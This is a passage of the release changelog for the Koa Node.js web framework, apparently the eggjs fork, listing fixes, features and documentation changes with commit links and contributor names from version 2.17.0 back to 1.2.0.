[2.17.0](https://github.com/eggjs/koa/compare/v2.16.0...v2.17.0) (2024-03-15)\n\n\n### Features\n\n* formatting redirect url on http(s) protocol url ([#4](https://github.com/eggjs/koa/issues/4)) ([7e7fcd1](https://github.com/eggjs/koa/commit/7e7fcd1a32af505ae2b43eef3781b1122253d276))\n\n## [2.16.0](https://github.com/eggjs/koa/compare/v2.15.1...v2.16.0) (2023-12-19)\n\n\n### Features\n\n* use gals ([#3](https://github.com/eggjs/koa/issues/3)) ([33e493a](https://github.com/eggjs/koa/commit/33e493ad499f7e6779a0d1715ef2ac873b62921b))\n\n## [2.15.1](https://github.com/eggjs/koa/compare/v2.15.0...v2.15.1) (2023-06-04)\n\n\n### Bug Fixes\n\n* change types.d.ts to types.ts ([#2](https://github.com/eggjs/koa/issues/2)) ([7101f87](https://github.com/eggjs/koa/commit/7101f872b574768905265b1a31496b7313b2c703))\n\n## [2.15.0](https://github.com/eggjs/koa/compare/v2.14.2...v2.15.0) (2023-06-04)\n\n\n### Features\n\n* refactor with typescript ([#1](https://github.com/eggjs/koa/issues/1)) ([6ba0589](https://github.com/eggjs/koa/commit/6ba05896feb7af80c64a5f890d4c0b95ba01f9bc))\n\n2.14.2 / 2023-04-12\n==================\n\n**fixes**\n  * [[`6b60fa6`](http://github.com/koajs/koa/commit/6b60fa6031dfa826c3268e655f193dab78f0705b)] - fix: can not get currentContext in error handler (#1757) (Gxkl <<gxkl203@gmail.com>>)\n\n2.14.1 / 2022-12-07\n==================\n\n**fixes**\n  * [[`cb92bc9`](http://github.com/koajs/koa/commit/cb92bc98939bd71fd3c01e2dc681caf6545baa38)] - fix: should export createAsyncCtxStorageMiddleware function on application (#1724) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.14.0 / 2022-12-06\n==================\n\n**features**\n  * [[`a293122`](http://github.com/koajs/koa/commit/a29312212839c6f0418152d2a2cd3bf3fd3ee5e4)] - feat: support asyncLocalStorage (#1721) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.13.4 / 2021-10-19\n==================\n\n**fixes**\n  * [[`dbc9c5a`](http://github.com/koajs/koa/commit/dbc9c5a47e2b2799cab403186fdb010df5df6f67)] - fix: Do not response Content-Length if Transfer-Encoding is defined (#1602) (Yiyu He <<dead_horse@qq.com>>)\n\n2.13.3 / 2021-09-24\n==================\n\n**fixes**\n  * [[`a37a2e5`](http://github.com/koajs/koa/commit/a37a2e5eec8997661a35ca10210f1d9950976041)] - fix: compatible with node-v12.19.0 & earlier (#1590) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n2.13.2 / 2021-09-24\n==================\n\n**fixes**\n  * [[`04acf02`](http://github.com/koajs/koa/commit/04acf0281a5dcb3fd463d4c8537984c686d0b96f)] - fix: nodejs deprecated api <DEP0148> (#1585) (#1588) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n**others**\n  * [[`3435e78`](http://github.com/koajs/koa/commit/3435e7864a59cca2835ebaad96c4eda801b99b24)] - lint++ (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`2cd6618`](http://github.com/koajs/koa/commit/2cd66182f46965f1d824c24826e85df251cca3d2)] - Fix grammar mistake (#1527) (Matheus Souza <<37983247+souzasmatheus@users.noreply.github.com>>)\n  * [[`16ab46e`](http://github.com/koajs/koa/commit/16ab46e9f2b5411fd1c50312ac03719f0a90df61)] - chore: upgrade koa-convert dependency to ^2.0.0 (#1535) (Christian Rodemeyer <<atombrenner@users.noreply.github.com>>)\n  * [[`65113ca`](http://github.com/koajs/koa/commit/65113ca38af634e4b1002d5bc40917cc09a7b7c6)] - Fix jsdoc types for constructor (#1541) (Piotr Kuczynski <<piotr.kuczynski@gmail.com>>)\n  * [[`03e6317`](http://github.com/koajs/koa/commit/03e6317df24d2dce0c1f08869326149f766f1e41)] - :arrow_up: debug (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`b37a2d0`](http://github.com/koajs/koa/commit/b37a2d09c137d9a553a0bdf8589b60c7f6425160)] - :arrow_up: eslint dependencies (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`4a410cc`](http://github.com/koajs/koa/commit/4a410cc2fbd923868cac6a622f12cc652586abee)] - migrate assert.deepEqual => .deepStrictEqual (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`4545b59`](http://github.com/koajs/koa/commit/4545b59aa521e377a4ebb0ccbb8abec01981fbf4)] - test: switch tests to jest (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`596cfd5`](http://github.com/koajs/koa/commit/596cfd542ccd1d89d97453e29cf499d49a82e743)] - migrate assert.strict => .strictEqual (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`be3e8b6`](http://github.com/koajs/koa/commit/be3e8b68ab58d469f0f450284528dbef32e2d7ba)] - test: switch to github actions (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`a2570e3`](http://github.com/koajs/koa/commit/a2570e3ee622cfa5214c2f756ea03b3b7143dbf7)] - package: update bench scripts (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`000acf0`](http://github.com/koajs/koa/commit/000acf06ab3e37006569addc8ace5c0a4365daa1)] - npm: enable package-lock (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`47fdbca`](http://github.com/koajs/koa/commit/47fdbca8b1c3999c5726f54531f8b47640a65a6f)] - delete benchmarks (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`0056f90`](http://github.com/koajs/koa/commit/0056f901e89fd0781067b2c9592fd5909f9ba94a)] - Create dependabot.yml (jongleberry <<jonathanrichardong@gmail.com>>)\n  * [[`698ce0a`](http://github.com/koajs/koa/commit/698ce0afbfac6480400625729a4b8fc4b4203fdc)] - test: fix typo in status.js (Ikko Ashimine <<eltociear@gmail.com>>)\n  * [[`eb51cf5`](http://github.com/koajs/koa/commit/eb51cf5fb35b39592a050b25fd261a574f547cfa)] - doc: app.keys needs to be long enought and random (#1520) (Yiyu He <<dead_horse@qq.com>>)\n\n2.13.1 / 2021-01-04\n==================\n\n**fixes**\n  * [[`b5472f4`](http://github.com/koajs/koa/commit/b5472f4cbb87349becae36b4a9ad5f76a825abb8)] - fix: make ESM transpiled CommonJS play nice for TS folks, fix #1513 (#1518) (miwnwski <<m@iwnw.ski>>)\n  * [[`68d97d6`](http://github.com/koajs/koa/commit/68d97d69e4536065504bf9ef1e348a66b3f35709)] - fix: fixed order of vulnerability disclosure addresses (niftylettuce <<niftylettuce@gmail.com>>)\n\n**others**\n  * [[`b4398f5`](http://github.com/koajs/koa/commit/b4398f5d68f9546167419f394a686afdcb5e10e2)] - correct verb tense in doc (#1512) (Matan Shavit <<71092861+matanshavit@users.noreply.github.com>>)\n  * [[`39e1a5a`](http://github.com/koajs/koa/commit/39e1a5a380aa2bbc4e2d164e8e4bf37cfd512516)] - fixed multiple grammatical errors in docs. (#1497) (Hridayesh Sharma <<vyasriday7@gmail.com>>)\n  * [[`aeb5d19`](http://github.com/koajs/koa/commit/aeb5d1984dcc5f8e3386f8f9724807ae6f3aa1c4)] - docs: added niftylettuce@gmail.com to vulnerability disclosure (niftylettuce <<niftylettuce@gmail.com>>)\n  * [[`6e1093b`](http://github.com/koajs/koa/commit/6e1093be27b41135c8e67fce108743d54e9cab67)] - docs: remove babel from readme (#1494) (miwnwski <<m@iwnw.ski>>)\n  * [[`38cb591`](http://github.com/koajs/koa/commit/38cb591254ff5f65a04e8fb57be293afe697c46e)] - docs: update specific for auto response status (AlbertAZ1992 <<ziyuximing@163.com>>)\n  * [[`2224cd9`](http://github.com/koajs/koa/commit/2224cd9b6a648e7ac2eb27eac332e7d6de7db26c)] -  docs: remove babel ref. (#1488) (Imed Jaberi <<imed_jebari@hotmail.fr>>)\n  * [[`d51f983`](http://github.com/koajs/koa/commit/d51f98328c3b84493cc6bda0732aabb69e20e3a1)] -  docs: fix assert example for response (#1489) (Imed Jaberi <<imed_jebari@hotmail.fr>>)\n  * [[`f8b49b8`](http://github.com/koajs/koa/commit/f8b49b859363ad6c3d9ea5c11ee62341407ceafd)] - chore: fix grammatical and spelling errors in comments and tests (#1490) (Matt Kubej <<mkubej@gmail.com>>)\n  * [[`d1c9263`](http://github.com/koajs/koa/commit/d1c92638c95d799df2fdff5576b96fc43a62813f)] -  deps: update depd  >> v2.0.0 (#1482) (imed jaberi <<imed_jebari@hotmail.fr>>)\n\n2.13.0 / 2020-06-21\n==================\n\n**features**\n  * [[`bbcde76`](http://github.com/koajs/koa/commit/bbcde76f5cb5b67bbcd3201791cf0ef648fd3a8b)] - feat: support esm (#1474) (ZYSzys <<zhangyongsheng@youzan.com>>)\n\n**others**\n  * [[`20e58cf`](http://github.com/koajs/koa/commit/20e58cf3e4f20fc5d5886df1d0ac6dd8c33bd202)] - test: imporve coverage to 100% (dead-horse <<dead_horse@qq.com>>)\n  * [[`4a40d63`](http://github.com/koajs/koa/commit/4a40d633c4b4a203c6656078f9952ccef65c5875)] - build: use prepare instead of prepublish (dead-horse <<dead_horse@qq.com>>)\n  * [[`226ba8c`](http://github.com/koajs/koa/commit/226ba8c8e81e83da48e7bf137be3f146d03f40b8)] - build: use prepublish instead of prepack (dead-horse <<dead_horse@qq.com>>)\n\n2.12.1 / 2020-06-13\n==================\n\n**fixes**\n  * [[`e2030c7`](http://github.com/koajs/koa/commit/e2030c7249c7ae24e28158d8eae405a02fefc9f8)] - fix: Improve checks for Error in onerror handlers (#1468) (Julien Wajsberg <<felash@gmail.com>>)\n\n**others**\n  * [[`5208c5e`](http://github.com/koajs/koa/commit/5208c5e15d35b3653fce6b8ed68d09865abea843)] - chore: Use single console.error() statement in error handler (#1471) (Mike Vosseller <<michael.vosseller@gmail.com>>)\n\n2.12.0 / 2020-05-18\n==================\n\n**features**\n  * [[`0d2f421`](http://github.com/koajs/koa/commit/0d2f421c265350d3d84e1bc261572954479f27d3)] - feat: error handler treat err.statusCode as the same as err.status (#1460) (Vijay Krishnavanshi <<vijaykrishnavanshi@gmail.com>>)\n  * [[`8d52105`](http://github.com/koajs/koa/commit/8d52105a34234be9e771ff3b76b43e4e30328943)] - feat: allow bodyless responses for non empty status codes (#1447) (ejose19 <<8742215+ejose19@users.noreply.github.com>>)\n\n**others**\n  * [[`faeaff5`](http://github.com/koajs/koa/commit/faeaff5c149a81a188ab8e5af0b994029e45acbb)] - fox: remove `error-inject` and fix error handling (#1409) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`f7c732f`](http://github.com/koajs/koa/commit/f7c732fd06f724505e9090add4d977e667da55a8)] - docs: fixed incorrect onerror example (#1459) (Paul Annekov <<paul.annekov@gmail.com>>)\n  * [[`143d8f7`](http://github.com/koajs/koa/commit/143d8f72f2a232b4c97eac00e7811015911e4f7c)] - Always use strict equality. (#1225) (Yazan Medanat <<medanat@gmail.com>>)\n  * [[`6b6b0dd`](http://github.com/koajs/koa/commit/6b6b0ddf7aff073e65493c6efaffab8331c0331c)] - docs(api): add app.use chainability note (#1449) (Zac Anger <<zac@zacanger.com>>)\n  * [[`8ddab48`](http://github.com/koajs/koa/commit/8ddab48cbdbca1e6d1cc8c3ddae45491db524d51)] - docs: Document response status with empty body (#1445) (Marc-Aurèle DARCHE <<152407+madarche@users.noreply.github.com>>)\n  * [[`7deedb2`](http://github.com/koajs/koa/commit/7deedb235274223f1b9da46dee296545b23598de)] - docs: Updating context.md with the latest cookies opts (#1433) (Brad Ito <<phlogisticfugu@users.noreply.github.com>>)\n  * [[`3e97a10`](http://github.com/koajs/koa/commit/3e97a106bb846d9337737011bb85149ddd797229)] - docs(links): remove Google+ link (#1439) (laffachan <<45162759+laffachan@users.noreply.github.com>>)\n  * [[`eda2760`](http://github.com/koajs/koa/commit/eda27608f7d39ede86d7b402aae64b1867ce31c6)] - build: Drop unused Travis sudo: false directive (#1416) (Olle Jonsson <<olle.jonsson@gmail.com>>)\n\n2.11.0 / 2019-10-28\n==================\n\n**features**\n  * [[`422e539`](http://github.com/koajs/koa/commit/422e539e8989e65ba43ecc39ddbaa3c4f755d465)] - feat: support app.proxyIPHeader and app.maxIpsCount to make ctx.ips more security (Yiyu He <<dead_horse@qq.com>>)\n  * [[`d48d88e`](http://github.com/koajs/koa/commit/d48d88ee17b780c02123e6d657274cab456e943e)] - feat: implement response.has (#1397) (Konstantin Vyatkin <<tino@vtkn.io>>)\n\n**others**\n  * [[`4dc56f6`](http://github.com/koajs/koa/commit/4dc56f6d04e8f5fe12ba53a8a776653b3d7b60ed)] - chore: update ESLint and plugins/configs (#1407) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`be7d334`](http://github.com/koajs/koa/commit/be7d334778481639294cdf87f5c359a230aeb65b)] - chore: removes code duplication at handling HEAD method (#1400) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`f155785`](http://github.com/koajs/koa/commit/f155785e2bb42b5ddf0a8156401c6dafdf57ba8b)] - chore: support `writableEnded` (#1402) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`b968688`](http://github.com/koajs/koa/commit/b968688afe2c727ae141f50aa983d481dbc1dbbf)] - chore: add FUNDING.yml (#1403) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`4f96829`](http://github.com/koajs/koa/commit/4f968298f97394e488297ec32c8e927a3a322076)] - chore: remove isJSON in res.length (#1399) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`8be5626`](http://github.com/koajs/koa/commit/8be5626bbb54e6c899a1b71d22411709126d9fea)] - build: enable codecov partial coverage and use bash uploader (#1396) (Konstantin Vyatkin <<tino@vtkn.io>>)\n  * [[`ef5c43b`](http://github.com/koajs/koa/commit/ef5c43bcbcf31819e032c3b7ae7654b7f8e9358b)] - chore: use rest params (#1393) (Konstantin Vyatkin <<tino@vtkn.io>>)\n\n2.10.0 / 2019-10-12\n==================\n\n**features**\n  * [[`d7f7f77`](http://github.com/koajs/koa/commit/d7f7f77689e2eaef050686be2bdf3e72881a79ac)] - feat: support sameSite=none cookies (bump cookies dependency) (#1390) (Filip Skokan <<panva.ip@gmail.com>>)\n\n2.9.0 / 2019-10-12\n==================\n\n**features**\n  * [[`2d1c598`](http://github.com/koajs/koa/commit/2d1c5981869e0fe6f5bc71b5c5582accfd125cc6)] - feat: export HttpError from http-errors library (Micheal Hill <<micheal.hill@trunkplatform.com>>)\n\n**others**\n  * [[`cf70dbc`](http://github.com/koajs/koa/commit/cf70dbc6d2ba62bf1eb12b563dd5ecd27af6e2be)] - Chore: Use https in readme (#1389) (谭九鼎 <<109224573@qq.com>>)\n\n2.8.2 / 2019-09-28\n==================\n\n**fixes**\n  * [[`54e8fab`](http://github.com/koajs/koa/commit/54e8fab3e3d907bbb264caf3e28a24773d0d6fdb)] - fix: encode redirect url if not already encoded (#1384) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`817b498`](http://github.com/koajs/koa/commit/817b49830571b45a8aec6b1fc1525434f5798c58)] - test: fix body test (#1375) (Robert Nagy <<ronagy@icloud.com>>)\n  * [[`f75d445`](http://github.com/koajs/koa/commit/f75d4455359ecdf30eeb676e2c7f31d4cf7b42ed)] - test: fix end after end (#1374) (Robert Nagy <<ronagy@icloud.com>>)\n\n2.8.1 / 2019-08-19\n==================\n\n**fixes**\n  * [[`287e589`](http://github.com/koajs/koa/commit/287e589ac773d3738b2aa7d40e0b6d43dde5261b)] - fix: make options more compatibility (dead-horse <<dead_horse@qq.com>>)\n\n2.8.0 / 2019-08-19\n==================\n\n**features**\n  * [[`5afff89`](http://github.com/koajs/koa/commit/5afff89eca0efe7081309dc2d123309e825df221)] - feat: accept options in the Application constructor (#1372) (Jake <<djakelambert@gmail.com>>)\n\n**fixes**\n  * [[`ff70bdc`](http://github.com/koajs/koa/commit/ff70bdc75a30a37f63fc1f7d8cbae3204df3d982)] - fix: typo on document (#1355) (Jeff <<jeff.tian@outlook.com>>)\n\n**others**\n  * [[`3b23865`](http://github.com/koajs/koa/commit/3b23865340cfba075f61f7dba0ea31fcc27260ec)] - docs: parameter of request.get is case-insensitive (#1373) (Gunnlaugur Thor Briem <<gunnlaugur@gmail.com>>)\n  * [[`a245d18`](http://github.com/koajs/koa/commit/a245d18a131341feec4f87659746954e78cae780)] - docs: Update response.socket (#1357) (Jeff <<jeff.tian@outlook.com>>)\n  * [[`d1d65dd`](http://github.com/koajs/koa/commit/d1d65dd29d7bbaf9ea42eaa5fcb0da3fb4df98e9)] - chore(deps): install egg-bin, mm as devDeps not deps (#1366) (Edvard Chen <<pigeon73101@gmail.com>>)\n  * [[`2c86b10`](http://github.com/koajs/koa/commit/2c86b10feafd868ebd071dda3a222e6f51972b5d)] - test: remove jest and use egg-bin(mocha) (#1363) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`219bf22`](http://github.com/koajs/koa/commit/219bf22237b11bc375e2e110b93db512f1acfdd4)] - docs(context): update link (#1354) (Peng Jie <<bivinity.pengzjie@gmail.com>>)\n  * [[`52a6737`](http://github.com/koajs/koa/commit/52a673703a87a93c0f6a8552e6bd73caba66d2eb)] - chore: ignore Intellij IDEA project files (#1361) (Imon-Haque <<38266345+Imon-Haque@users.noreply.github.com>>)\n  * [[`b9e3546`](http://github.com/koajs/koa/commit/b9e35469d3bbd0a1ee92e0a815ce2512904d4a18)] - docs(api): fix keygrip link (#1350) (Peng Jie <<bivinity.pengzjie@gmail.com>>)\n  * [[`d4bdb5e`](http://github.com/koajs/koa/commit/d4bdb5ed9e2fe06ec44698b66c029f624135a0ab)] - chore: update eslint and fix lint errors (dead-horse <<dead_horse@qq.com>>)\n  * [[`12960c4`](http://github.com/koajs/koa/commit/12960c437cc25c53e682cfe5bff06d74a5bb1eb9)] - build: test on 8/10/12 (dead-horse <<dead_horse@qq.com>>)\n  * [[`00e8f7a`](http://github.com/koajs/koa/commit/00e8f7a1b7603aabdb7fb3567f485cb1c2076702)] - docs: ctx.type aliases ctx.response, not ctx.request (#1343) (Alex Berk <<berkalexanderc@gmail.com>>)\n  * [[`62f29eb`](http://github.com/koajs/koa/commit/62f29eb0c4dee01170a5511615e5bcc9faca26ca)] - docs(context): update cookies link (#1348) (Peng Jie <<dean.leehom@gmail.com>>)\n  * [[`b7fc526`](http://github.com/koajs/koa/commit/b7fc526ea49894f366153bd32997e02568c0b8a6)] - docs: fix typo in cookie path default value docs (#1340) (Igor Adamenko <<igoradamenko@users.noreply.github.com>>)\n  * [[`23f7f54`](http://github.com/koajs/koa/commit/23f7f545abfe1fb6499cd61cc8ff41fd86cef4a0)] - chore: simplify variable (#1332) (kzhang <<godky@users.noreply.github.com>>)\n  * [[`132c9ee`](http://github.com/koajs/koa/commit/132c9ee63f92a586a120ed3bd6b7ef023badb8bb)] - docs: Clarify the format of request.headers (#1325) (Dobes Vandermeer <<dobesv@gmail.com>>)\n  * [[`5810f27`](http://github.com/koajs/koa/commit/5810f279a4caeda115f39e429c9671795613abf8)] - docs: Removed Document in Progress note in Koa vs Express (#1336) (Andrew Peterson <<andrew@andpeterson.com>>)\n  * [[`75233d9`](http://github.com/koajs/koa/commit/75233d974a30af6e3b8ab38a73e5ede67172fc1c)] - chore: Consider removing this return statement; it will be ignored. (#1322) (Vern Brandl <<tkvern@users.noreply.github.com>>)\n  * [[`04e07fd`](http://github.com/koajs/koa/commit/04e07fdc620841068f12b8edf36f27e6592a0a18)] - test: Buffer() is deprecated due to security and usability issues. so use the Buffer.alloc() instead (#1321) (Vern Brandl <<tkvern@users.noreply.github.com>>)\n  * [[`130e363`](http://github.com/koajs/koa/commit/130e363856747b487652f04b5550056d7778e43a)] - docs: use 'fs-extra' instead of 'fs-promise' (#1309) (rosald <<35028438+rosald@users.noreply.github.com>>)\n  * [[`2f2078b`](http://github.com/koajs/koa/commit/2f2078bf998bd3f44289ebd17eeccf5e12e4c134)] - chore: Update PR-welcome badge url (#1299) (James George <<jamesgeorge998001@gmail.com>>)\n\n2.7.0 / 2019-01-28\n==================\n\n**features**\n  * [[`b7bfa71`](http://github.com/koajs/koa/commit/b7bfa7113b8d1af49a57ab767f24a599ed92044f)] - feat: change set status assert, allowing valid custom statuses (#1308) (Martin Iwanowski <<martin@iwanowski.se>>)\n\n**others**\n  * [[`72f325b`](http://github.com/koajs/koa/commit/72f325b78edd0dc2aac940a76ce5f644005ce4c3)] - chore: add pr welcoming badge (#1291) (James George <<jamesgeorge998001@gmail.com>>)\n  * [[`b15115b`](http://github.com/koajs/koa/commit/b15115b2cbfffe15827cd5e4368267d417b72f08)] - chore: Reduce unnecessary variable declarations (#1298) (call me saisai <<1457358080@qq.com>>)\n  * [[`ad91ce2`](http://github.com/koajs/koa/commit/ad91ce2346cb34e5d5a49d07dd952d15f6c832a3)] - chore: license 2019 (dead-horse <<dead_horse@qq.com>>)\n  * [[`b25e79d`](http://github.com/koajs/koa/commit/b25e79dfb599777a38157bd419395bd28369ee86)] - Mark two examples as live for the corresponding documentation change in https://github.com/koajs/koajs.com/pull/38. (#1031) (Francisco Ryan Tolmasky I <<tolmasky@gmail.com>>)\n  * [[`d9ef603`](http://github.com/koajs/koa/commit/d9ef60398e88f2c2f958ab2b159d38052ffe7f8a)] - chore: Optimize array split (#1295) (Mikhail Bodrov <<connormiha1@gmail.com>>)\n  * [[`9be8583`](http://github.com/koajs/koa/commit/9be858312553002841725b617050aaff3c48951d)] - chore: replace ~~ with Math.trunc in res.length (option) (#1288) (jeremiG <<gendronjeremi@gmail.com>>)\n  * [[`7e46c20`](http://github.com/koajs/koa/commit/7e46c2058cb5994809eab5f4dbb12f21e937c72b)] - docs: add link to the license file (#1290) (James George <<jamesgeorge998001@gmail.com>>)\n  * [[`48993ad`](http://github.com/koajs/koa/commit/48993ade9b0831fbce28d94b3b0963a4b0dccbdd)] - docs: Document other body types (#1285) (Douglas Wade <<douglas.b.wade@gmail.com>>)\n  * [[`acb388b`](http://github.com/koajs/koa/commit/acb388bc0546b48fca11dce8aa7a595af2cda5e2)] - docs: Add security vulnerability disclosure instructions to the Readme (#1283) (Douglas Wade <<douglas.b.wade@gmail.com>>)\n  * [[`a007198`](http://github.com/koajs/koa/commit/a007198fa23c19902b1f3ffb81498629e0e9c875)] - docs: Document ctx.app.emit (#1284) (Douglas Wade <<douglas.b.wade@gmail.com>>)\n  * [[`f90e825`](http://github.com/koajs/koa/commit/f90e825da9d505c11b4262c50cd54553f979c300)] - docs: response.set(fields) won't overwrites previous header fields(#1282) (Douglas Wade <<douglas.b.wade@gmail.com>>)\n  * [[`fc93c05`](http://github.com/koajs/koa/commit/fc93c05f68398f30abc46fd16ae6c673a1eee099)] - docs: update readme to add babel 7 instructions (#1274) (Vikram Rangaraj <<vik120@icloud.com>>)\n  * [[`5560f72`](http://github.com/koajs/koa/commit/5560f729124f022ffed00085aafea43dded7fb03)] - chore: use the ability of `content-type` lib directly (#1276) (Jordan <<mingmingwon@gmail.com>>)\n\n2.6.2 / 2018-11-10\n==================\n\n**fixes**\n  * [[`9905199`](http://github.com/koajs/koa/commit/99051992a9f45eb0dd79e062681d6f5d366deb41)] - fix: Status message is not supported on HTTP/2 (#1264) (André Cruz <<andre@cabine.org>>)\n\n**others**\n  * [[`325792a`](http://github.com/koajs/koa/commit/325792aee92de0ba6fea306657933fc63dc00474)] - docs: add table of contents for guide.md (#1267) (ZYSzys <<zyszys98@gmail.com>>)\n  * [[`71aaa29`](http://github.com/koajs/koa/commit/71aaa29591d6681f8579486f18d32ba1ee651a5b)] - docs: fix spelling in throw docs (#1269) (Martin Iwanowski <<martin@iwanowski.se>>)\n  * [[`bc81ca9`](http://github.com/koajs/koa/commit/bc81ca9414296234c764b7306a19ba72b2e59b52)] - chore: use res instead of this.res (#1271) (Jordan <<mingmingwon@gmail.com>>)\n  * [[`0251b38`](http://github.com/koajs/koa/commit/0251b38a8405471892c5eeaba7c8d54bd7028214)] - test: node v11 on travis (#1265) (Martin Iwanowski <<martin@iwanowski.se>>)\n  * [[`88b92b4`](http://github.com/koajs/koa/commit/88b92b43153f21609aee71d47abcd4dc27a6586d)] - doc: updated docs for throw() to pass status as first param. (#1268) (Waleed Ashraf <<waleedashraf@outlook.com>>)\n\n2.6.1 / 2018-10-23\n==================\n\n**fixes**\n  * [[`4964242`](http://github.com/koajs/koa/commit/49642428342e5f291eb9d690802e83ed830623b5)] - fix: use X-Forwarded-Host first on app.proxy present (#1263) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.6.0 / 2018-10-23\n==================\n\n**features**\n  * [[`9c5c58b`](http://github.com/koajs/koa/commit/9c5c58b18363494976185e7ddc790ac63de840ed)] - feat: use :authority header of http2 requests as host (#1262) (Martin Michaelis <<code@mgjm.de>>)\n  * [[`9146024`](http://github.com/koajs/koa/commit/9146024e1094e8bb871ab15d1b7fc556a710732f)] - feat: response.attachment append a parameter: options from contentDisposition (#1240) (小雷 <<863837949@qq.com>>)\n\n**others**\n  * [[`d32623b`](http://github.com/koajs/koa/commit/d32623baa7a6273d47be67d587ad4ea0ecffc5de)] - docs: Update error-handling.md (#1239) (urugator <<j.placek@centrum.cz>>)\n\n2.5.3 / 2018-09-11\n==================\n\n**fixes**\n  * [[`2ee32f5`](http://github.com/koajs/koa/commit/2ee32f50b88b383317e33cc0a4bfaa5f2eadead7)] - fix: pin debug@~3.1.0 avoid deprecated warnning (#1245) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`2180839`](http://github.com/koajs/koa/commit/2180839eda2cb16edcfda46ccfe24711680af850)] - docs: Update koa-vs-express.md (#1230) (Clayton Ray <<iamclaytonray@gmail.com>>)\n\n2.5.2 / 2018-07-12\n==================\n\n  * deps: upgrade all dependencies\n  * perf: avoid stringify when set header (#1220)\n  * perf: cache content type's result (#1218)\n  * perf: lazy init cookies and ip when first time use it (#1216)\n  * chore: fix comment & approve cov (#1214)\n  * docs: fix grammar\n  * test&cov: add test case (#1211)\n  * Lazily initialize `request.accept` and delegate `context.accept` (#1209)\n  * fix: use non deprecated custom inspect (#1198)\n  * Simplify processes in the getter `request.protocol` (#1203)\n  * docs: better demonstrate middleware flow (#1195)\n  * fix: Throw a TypeError instead of a AssertionError (#1199)\n  * chore: mistake in a comment (#1201)\n  * chore: use this.res.socket insteadof this.ctx.req.socket (#1177)\n  * chore: Using \"listenerCount\" instead of \"listeners\" (#1184)\n\n2.5.1 / 2018-04-27\n==================\n\n  * test: node v10 on travis (#1182)\n  * fix tests: remove unnecessary assert doesNotThrow and api calls (#1170)\n  * use this.response insteadof this.ctx.response (#1163)\n  * deps: remove istanbul (#1151)\n  * Update guide.md (#1150)\n\n2.5.0 / 2018-02-11\n==================\n\n  * feat: ignore set header/status when header sent (#1137)\n  * run coverage using --runInBand (#1141)\n  * [Update] license year to 2018 (#1130)\n  * docs: small grammatical fix in api docs index (#1111)\n  * docs: fixed typo (#1112)\n  * docs: capitalize K in word koa (#1126)\n  * Error handling: on non-error throw try to stringify if error is an object (#1113)\n  * Use eslint-config-koa (#1105)\n  * Update mgol's name in AUTHORS, add .mailmap (#1100)\n  * Avoid generating package locks instead of ignoring them (#1108)\n  * chore: update copyright year to 2017 (#1095)\n\n\n2.4.1 / 2017-11-06\n==================\n\n * fix bad merge w/ 2.4.0\n\n2.4.0 / 2017-11-06\n==================\n\nUNPUBLISHED\n\n * update `package.engines.node` to be more strict\n * update `fresh@^0.5.2`\n * fix: `inspect()` no longer crashes `context`\n * fix: gated `res.statusMessage` for HTTP/2\n * added: `app.handleRequest()` is exposed\n\n2.3.0 / 2017-06-20\n==================\n\n * fix: use `Buffer.from()`\n * test on node 7 & 8\n * add `package-lock.json` to `.gitignore`\n * run `lint --fix`\n * add `request.header` in addition to `request.headers`\n * add IPv6 hostname support\n\n2.2.0 / 2017-03-14\n==================\n\n * fix: drop `package.engines.node` requirement to >= 6.0.0\n   * this fixes `yarn`, which errors when this semver range is not satisfied\n * bump `cookies@~0.7.0`\n * bump `fresh@^0.5.0`\n\n2.1.0 / 2017-03-07\n==================\n\n * added: return middleware chain promise from `callback()` #848\n * added: node v7.7+ `res.getHeaderNames()` support #930\n * added: `err.headerSent` in error handling #919\n * added: lots of docs!\n\n2.0.1 / 2017-02-25\n==================\n\nNOTE: we hit a versioning snafu. `v2.0.0` was previously released,\nso `v2.0.1` is released as the first `v2.x` with a `latest` tag.\n\n * upgrade mocha #900\n * add names to `application`'s request and response handlers #805\n * breaking: remove unused `app.name` #899\n * breaking: drop official support for node < 7.6\n\n2.0.0 / ??????????\n==================\n\n * Fix malformed content-type header causing exception on charset get (#898)\n * fix: subdomains should be [] if the host is an ip (#808)\n * don't pre-bound onerror [breaking change] (#800)\n * fix `ctx.flushHeaders()` to use `res.flushHeaders()` instead of `res.writeHead()` (#795)\n * fix(response): correct response.writable logic (#782)\n * merge v1.1.2 and v1.2.0 changes\n * include `koa-convert` so that generator functions still work\n   * NOTE: generator functions are deprecated in v2 and will be removed in v3\n * improve linting\n * improve docs\n\n2.0.0-alpha.8 / 2017-02-13\n==================\n\n * Fix malformed content-type header causing exception on charset get (#898)\n\n2.0.0-alpha.7 / 2016-09-07\n==================\n\n * fix: subdomains should be [] if the host is an ip (#808)\n\n2.0.0-alpha.6 / 2016-08-29\n==================\n\n  * don't pre-bound onerror [breaking change]\n\n2.0.0-alpha.5 / 2016-08-10\n==================\n\n * fix `ctx.flushHeaders()` to use `res.flushHeaders()` instead of `res.writeHead()`\n\n2.0.0-alpha.4 / 2016-07-23\n==================\n\n * fix `response.writeable` during pipelined requests\n\n1.2.0 / 2016-03-03\n==================\n\n  * add support for `err.headers` in `ctx.onerror()`\n    - see: https://github.com/koajs/koa/pull/668\n    - note: you should set these headers in your custom error handlers as well\n    - docs: https://github.com/koajs/koa/blob/master/docs/error-handling.md\n  * fix `cookies`' detection of http/https\n    - see: 